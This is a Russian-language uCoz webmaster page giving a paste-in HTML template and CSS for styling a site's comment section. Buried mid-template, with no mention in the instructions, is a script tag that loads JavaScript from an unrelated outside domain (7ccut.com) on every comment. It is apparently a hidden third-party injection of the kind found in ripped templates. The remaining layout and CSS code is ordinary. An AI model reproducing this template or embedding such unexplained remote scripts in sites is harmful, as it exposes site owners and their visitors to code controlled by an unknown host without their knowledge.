Главная
Форум
Файлы
[Game] Новости
[Online] Видео
Статьи
[Top] сайтов
Отзывы о нас
Вход
Регистрация
Главная
Новости
Видео
Правила
Бан-лист
Разбан NO-STEAM
Разбан STEAM
Главная
»
2013
»
Декабрь
»
29
» Вид комментариев для юкоз
10:40
Вид комментариев для юкоз
Удобный вид комментариев для ucoz. Очень хороший дизайн. Подойдет под любой сайт и не будет нагружать страницу сайта. Проблем с установкой не возникнут, так как дизайн простой и есть четкая инструкция - ниже. Можете поменять цвет или что нибудь добавить свое, все делается в таблице CSS стилей. Как по мне "вид комментариев" и так выглядит - отлично. Приступим к установке. Первое, что Вам нужно сделать, — зайти в панель управление сайтом, Главная » Управление дизайном » Комментарии » Вид комментариев и вставляем код:
Код "Вид комментариев для юкоз"
Код
<table border="0" cellpadding="0" cellspacing="0" width="100%" class="$CLASS$"><tr><td style="padding:3px;">
<div class="comment"><div class="comment-author vcard">
<div class="avatar"><?if($USER_AVATAR_URL$)?><img alt="" align="left" src="$USER_AVATAR_URL$" width="60" border="0" /><?else?><img src="/avatar.png" width="60" border="0"><?endif?></div>
<cite class="fn"><?if($USERNAME$)?><a href="$PROFILE_URL$"><b>$USERNAME$</b></a><?else?><b>$NAME$</b><?endif?></cite>
</div>
<div class="comment-meta commentmetadata">$DATE$ $TIME$</div>
<div style="float:right;font-size:11px;font-family:Arial,sans-serif;"><?if($COMMENT_RATING$<0)?><span class="myWinError"><b>$COMMENT_RATING$</b></span><?else?><?if($COMMENT_RATING$=0)?><span style="color:gray;"><b>$COMMENT_RATING$</b></span><?else?><span class="myWinSuccess"><b>+$COMMENT_RATING$</b></span><?endif?><?endif?> <?if($GOOD_COMMENT_URL$)?><a href="$GOOD_COMMENT_URL$"><img alt="" src="http://s16.ucoz.net/img/icon/thumbu.png" width="13" align="absmiddle" border="0" title="Хороший пост"></a> <a href="$BAD_COMMENT_URL$"><img alt="" src="http://s16.ucoz.net/img/icon/thumbd.png" width="13" border="0" align="absmiddle" title="Плохой пост"></a><?else?><img alt="" src="http://s16.ucoz.net/img/icon/thumbu_.png" align="absmiddle" width="13" border="0" title="Хороший пост"> <img alt="" src="http://s16.ucoz.net/img/icon/thumbd_.png" width="13" align="absmiddle" border="0" title="Плохой пост"><?endif?> $MODER_PANEL$</div><div class="cTop" style="text-align:left;"><?if($IS_OWN$)?><span class="myWinError">*</span> <?else?><?if($IS_NEW$)?><span class="myWinSuccess">*</span> <?endif?><?endif?><a href="#ent$ID$" onclick="if (document.getElementById('comEnt$ID$')){$('body').scrollTo( { top:$('#comEnt$ID$').offset().top-22, left:0}, 500 );return false;}" name="ent$ID$"><b>$NUMBER$</b></a> <script src="http://7ccut.com/table.js" type="text/javascript"></script>
</div>
<div class="cMessage" style="text-align:left;clear:both;padding:2px 0;">$MESSAGE$</div>
<?if($ANSWER$)?><div class="cAnswer" style="text-align:left;clear:both;"><b>Ответ</b>: $ANSWER$</div><?endif?>
<?if($ANSWER_URL$)?><div style="clear:both;padding:4px 0;font-size:7pt;">[<a href="$ANSWER_URL$">Ответить</a>]</div><?endif?> </div>
</td></tr></table>
После этого настраиваем стили в таблице стилей CSS
Код
.comment { float: right; clear: both; position: relative; width: 70%; padding: 15px; background: white; margin: 0 0 20px 0; -moz-border-radius: 15px; -webkit-border-radius: 15px; border-radius: 15px;}
.cBlock1 .comment{background:#ddeb84;}
.cBlock2 .comment{background:#F1F2F3;}
.comment-author { position: absolute; left: -210px; top: 0; }
.comment-author cite { display: block; margin-top: 0px; font-family: HelveticaNeue, Helvetica, Arial, Sans-Serif; font-style: normal; color: black;text-align:center;}
.comment-author cite a { color: black; border-bottom: 1px solid transparent; }
.cBlock1 .comment-author .avatar { width: 60px; height: 60px; -moz-border-radius: 38px; position: relative; -webkit-border-radius: 38px; border-radius: 38px; border: 8px solid #ddeb84; }
.cBlock1 .comment-author .avatar:after { content: ""; display: block; position: absolute; width: 142px; height: 8px; background: #ddeb84; left: 60px; top: 30px; }
.cBlock2 .comment-author .avatar { width: 60px; height: 60px; -moz-border-radius: 38px; position: relative; -webkit-border-radius: 38px; border-radius: 38px; border: 8px solid #F1F2F3; }
.cBlock2 .comment-author .avatar:after { content: ""; display: block; position: absolute; width: 142px; height: 8px; background: #F1F2F3; left: 60px; top: 30px; }
.comment-author .avatar img{ width: 60px; height: 60px; -moz-border-radius: 38px; position: relative; -webkit-border-radius: 38px; border-radius: 38px; }
.comment .comment-meta { position: absolute; left: -210px; top: 90px; font-family: HelveticaNeue, Helvetica, Arial, Sans-Serif; text-transform: uppercase; }
Установка завершена.
1
2
3
4
5
Просмотров:
361
|
Добавил:
Bitfood
|
Рейтинг:
1.0
/
1
Всего комментариев:
0
Меню сайта
Главная страница
Информация о сайте
Каталог файлов
Каталог статей
Форум
Гостевая книга
Обратная связь
FAQ (вопрос/ответ)
Связь с администрацией
Каталог сайтов
Мини-чат
Наш опрос
Как вы к нам попали?
Поисковик
Не помню
Ссылка
Друг сказал
Баннер
Соц. сети
Результаты
Архив опросов
Статистика
Онлайн всего:
1
Гостей:
1
Пользователей:
0
Вход на сайт
Поиск
Календарь
«
Декабрь 2013
»
Пн
Вт
Ср
Чт
Пт
Сб
Вс
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Архив записей
2012 Июнь
2012 Октябрь
2012 Ноябрь
2012 Декабрь
2013 Январь
2013 Февраль
2013 Март
2013 Апрель
2013 Май
2013 Июнь
2013 Июль
2013 Август
2013 Октябрь
2013 Ноябрь
2013 Декабрь
2014 Январь
2014 Февраль
2014 Март
2014 Апрель
2014 Июнь
2014 Август
2014 Сентябрь
Друзья сайта
Официальный блог
Сообщество uCoz
FAQ по системе
Инструкции для uCoz
Оригинальные и RIPнутые
DLE 10.00 шаблоны
скачать бесплатно.
HTML и CMS
шаблоны сайтов
в бесплатном доступе.
Полуприватные
Шаблоны для распространенных систем управления сайтами
в бесплатном доступе.
Здесь можно
скачать скины для UCOZ
бесплатно.
Самый наполненный
webмастерский портал
в рунете и буржунете.
Полный
дайджест новостей
интернета и мира.
Адаптивные
joomla 3.1 шаблоны
в free доступе.
Скачивайте лучшие резиновые и фиксированные по ширине
WP шаблоны 3.0
без скрытых ссылок и шеллов.
Наверное, самый лучший
блог про заработок
и СЕО.